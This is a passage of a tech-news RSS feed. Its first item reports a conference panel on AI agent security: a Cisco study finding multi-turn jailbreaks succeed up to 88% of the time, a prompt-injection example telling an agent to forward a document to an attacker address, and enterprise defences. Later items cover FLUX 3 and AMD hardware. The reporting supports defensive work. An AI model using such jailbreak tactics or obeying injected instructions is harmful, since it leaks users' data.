<title><![CDATA[Multi-turn attacks broke AI models 88% of the time — single-turn testing missed it, Cisco AI security lead warns at VB Transform 2026]]></title>
<description><![CDATA[When Cisco ran 6,986 multi-turn attacks against 15 flagship models, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at VB Transfor...]]></description>
<link>https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690018/it-nachrichten/multi-turn-attacks-broke-ai-models-88-of-the-time-single-turn-testing-missed-it-cisco-ai-security-lead-warns-at-vb-transform-2026/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>When Cisco ran 6,986 multi-turn attacks against <a href="https://blogs.cisco.com/ai/proprietary-problems">15 flagship models</a>, attackers who adapted across the conversation broke through as often as 88.3% of the time. Amy Chang, Cisco's head of AI threat intelligence and security research, brought that finding to the agentic security panel at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>; the number should worry anyone still running single-turn red-teaming programs.</p><p><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials">VentureBeat's June 2026 Pulse survey of 107 enterprise respondents</a> explains why the room was full. More than half, 54%, have already had a confirmed agent security incident (18%) or a near-miss caught before harm (36%). Just 32% give every agent its own scoped, managed identity, and fewer still, 30%, isolate their highest-risk agents in sandboxes. Provider-native and hyperscaler controls remain the primary agent security layer at <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">82% of companies surveyed</a>. The world's largest security vendors have done the same math. </p><p>Palo Alto Networks closed its <a href="https://www.paloaltonetworks.com/company/press/2026/palo-alto-networks-completes-acquisition-of-cyberark-to-secure-the-ai-era">$25 billion acquisition of CyberArk</a> in February, CrowdStrike <a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-to-acquire-sgnl-to-transform-identity-security-for-ai-era/">agreed in January to pay $740 million for SGNL</a>, and Cisco announced its <a href="https://blogs.cisco.com/news/cisco-announces-intent-to-acquire-astrix-security">intent to acquire Astrix Security</a> for a reported $400 million, all of it aimed at the identity and isolation layer most enterprises have not finished building.</p><div></div><p>Chang came to the panel with almost two decades of experience spanning cybersecurity operations, government, and the military. She ran global cybersecurity operations as an executive director at JPMorgan Chase, where she led the bank's cyber threat intelligence teams, and served as a senior staffer on the House Foreign Affairs Committee and as a U.S. Navy Reserve officer. She also teaches cybersecurity and emerging threats as adjunct faculty at the Middlebury Institute of International Studies.</p><p>Chang's 88.3% number comes from a study she co-authored with Nicholas Conley, built on 30,090 single-turn prompts and 6,986 multi-turn attacks against those 15 closed and proprietary flagship models. Multi-turn success rates ranged from 7.89% to 88.3%, every model tested showed non-trivial multi-turn exposure, and the two testing styles did not even rank the models in the same order. Cisco publishes adversarial evaluation signals for what is now 105 models on its <a href="https://leaderboard.aidefense.cisco.com/">LLM Security Leaderboard</a>, she told the audience.</p><p>"If you don't understand how models are susceptible to different types of attacks, then you are unable to account for how that model that is powering your agent, that is powering your application, to understand where those failure points are," Chang said. Single-turn testing is the one-shot malicious prompt, she explained, while extending an attack into a longer conversation "is more realistic of how we are actually engaging with our models, with our agents, with our applications." That longer arc surfaces harmful outputs and misaligned behaviors that a snapshot never catches.</p><p>Cisco has pushed the testing itself into agentic territory. Chang described a framework where agents assess a deployment scenario, develop relevant attacks, judge whether they are worth pursuing, execute them, and evaluate their own success. What surprised her most, after all that sophistication, was how simple the defensive answer stays. "The answer is still that it's pretty simple," she said. "You don't have to get super creative. You just need to think about truly what are the fundamentals and basics of what I'm trying to secure in my organization."</p><p>Her starting point for CISOs beginning agentic deployments is Cisco's <a href="https://blogs.cisco.com/ai/security-framework">Integrated AI Security and Safety Framework</a>, which she said "stipulates all the ways that AI can be compromised across the AI lifecycle" from modality through supply chain. From there, teams can work backward from real incidents, trace how each attack was achieved, and use the framework to build a strategy with the right coverage and mitigations.</p><p>Heather Ceylan, the CISO of Box, sees the same gap from the defender's side. "A lot of what you see out there with agent red teaming is just single-turn, and that's not how people are actually interacting with AI day-to-day," she told the audience. Box now simulates multi-turn adversaries with agents that think like an attacker and iterate attempt after attempt to hijack the target. "You have to pressure test your agents because otherwise you don't know if your execution controls are really working as you intended."</p><p>Box deployed agents inside its security operations center about a year ago, starting with human approval required for every action, and trust built quickly enough that analysts shifted into monitoring mode. Then the agent made one mistake, and every bit of that accumulated trust vanished. "They had to start all over again," she said. "So I think that that monitoring piece is so important. Even if you're not gonna have a human in the loop, things change, models change, and we can't control how the models change and interpret things."</p><p>Rajesh Parekh, VP of AI and ML at Intuit, brought the builder's perspective. Parekh led large-scale computer vision and ML systems powering Google's Maps and Geo products before joining Intuit, and holds a doctorate in computer science. </p><h2>Three layers versus an operating system</h2><p>Ceylan described Box's approach as three concentric layers. Permissioning comes first, so the agent never accesses more content than the human who invoked it. Ephemeral sandbox environments spin up for each agent task, containing the blast radius if an agent gets hijacked, and runtime execution control restricts the agent's tool calls to only those relevant to the task at hand. "If you want an agent to summarize a doc for you, if you have a prompt injection that came in that says forward this to maliciousattacker at domain.com, it can't do that," Ceylan said. "That action in that tool call is not even in its vocabulary."</p><p>She classified agent actions into three oversight categories. Actions that are not sensitive, like read and summarize, need no human in the loop. Moderately sensitive actions skip human approval but get logged and monitored, while destructive actions like mass deletion of files always require a human. "Things are gonna shift between those three categories quite a bit," she acknowledged, "but setting those types of categories up front allows you to have a principled framework."</p><p>Rather than layering controls onto agents one at a time, Intuit has built a central platform called GenOS, short for generative AI operating system, which abstracts security, risk, and fraud modeling so individual agent developers never reinvent protection. "Permissioning is not about giving access to AI," Parekh said. "Instead, it is defining very tightly scoped and clearly auditable authority to the agent to perform very specific tasks." Intuit evolved from agents inheriting user permissions to each agent carrying its own identity, and the company is now investigating mid-session permission changes tied to the specific task underway.</p><p>Parekh calls the broader model an AI-powered expert platform, one where the human expert is built into the trust architecture rather than bolted on as a gate. "The paradigm that we are pursuing is where the user, the AI agent, and the human expert are collaborating to solve the user problem," he said.</p><h2>The end of human code review</h2><p>Ceylan took on the tension between security testing and development velocity without hedging. "The days of secure code reviews where a human's looking at the code and we're looking at security architecture reviews, design docs, those are done," she said. "If you keep trying to do security that way, you're gonna get left behind." Box is building toward a fully agentic development lifecycle where agents review design documents, apply security requirements, and review the code for vulnerabilities. "I'm very optimistic that we will get to a point where we will write code without security vulnerabilities because agents and the models are going to get so good at writing code without vulnerabilities," she said. "We're still a long way away from that."</p><p>Her advice for development teams skips the advanced AI concepts entirely and returns to basics that predate agents. "It comes down to very basic least privilege access," she said. "If you start giving your agents overly broad permissions at the beginning, it's really hard to comb that back and build an infrastructure that allows for those ephemeral credentials and only those narrowly scoped tasks."</p><p>Parekh explained why the red teaming surface has expanded so quickly. "These agents have skills, and skills could become vulnerabilities," he said. "Agents have access to certain data, they have access to tools, and there could be threats that are lurking within those tools as well. So suddenly the blast radius of the malicious code or the intent increases dramatically." When Intuit identifies common vulnerability patterns from its manual red teaming exercises, it automates those tests back into the GenOS harness so future agents inherit protection and red teamers stay focused on new threat vectors. Runtime scanning of prompts and responses adds a final layer that can stop a suspect response and escalate to a human expert, he said.</p><p>"You need to continuously test to ensure that those remain robust to the protections that you have built, as well as to account for any sort of drift or any other types of dependencies that you introduce into your scenario that can create novel vulnerabilities," she said.</p><h2>Intent versus probability</h2><p>An audience question about intent detection set off the sharpest exchange of the session. Ceylan noted that when Box's own agent operates, the system always knows the user's intent because it controls the prompt, which means guardrails and tool-call restrictions can be engineered around it. The harder challenge, which she admitted Box is still trying to solve, arrives when external agents connect and the context behind the request is opaque.</p><p>That exchange exposed a split running through the wider industry. Mastercard, in the fireside chat immediately preceding the panel, came down on the side of quantifying intent, building an open-source framework to propagate it as a standard because complex B2B procurement cannot work without that trust. Endpoint security CTOs, in briefings with VentureBeat, have gone the other way, saying they will bet on probability rather than intent inference for production workloads. Chang explained why models, as they are trained today, cannot reliably derive intent from a prompt, which is why deterministic controls and behavioral proxies remain necessary. Ceylan agreed that both are required. "If you're not doing anything deterministic, you're really relying heavily on that intent, and I haven't seen programs that are there yet," she said.</p><p>Ceylan's story about trust collapsing after a single agent mistake landed as the panel's most memorable moment because enterprise agentic security is not a problem that gets solved and stays solved. Models change, permissions drift, and adversaries adapt across multi-turn conversations that snapshot tests never capture.</p><p>For the 82% of enterprises relying on provider-native controls as their primary security layer, and the 59% shopping for agent security tooling over the next 12 months, the panel's takeaway was blunt. Test the way attackers attack, across full conversations and continuously, or find out in production what your single-turn red teaming missed.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



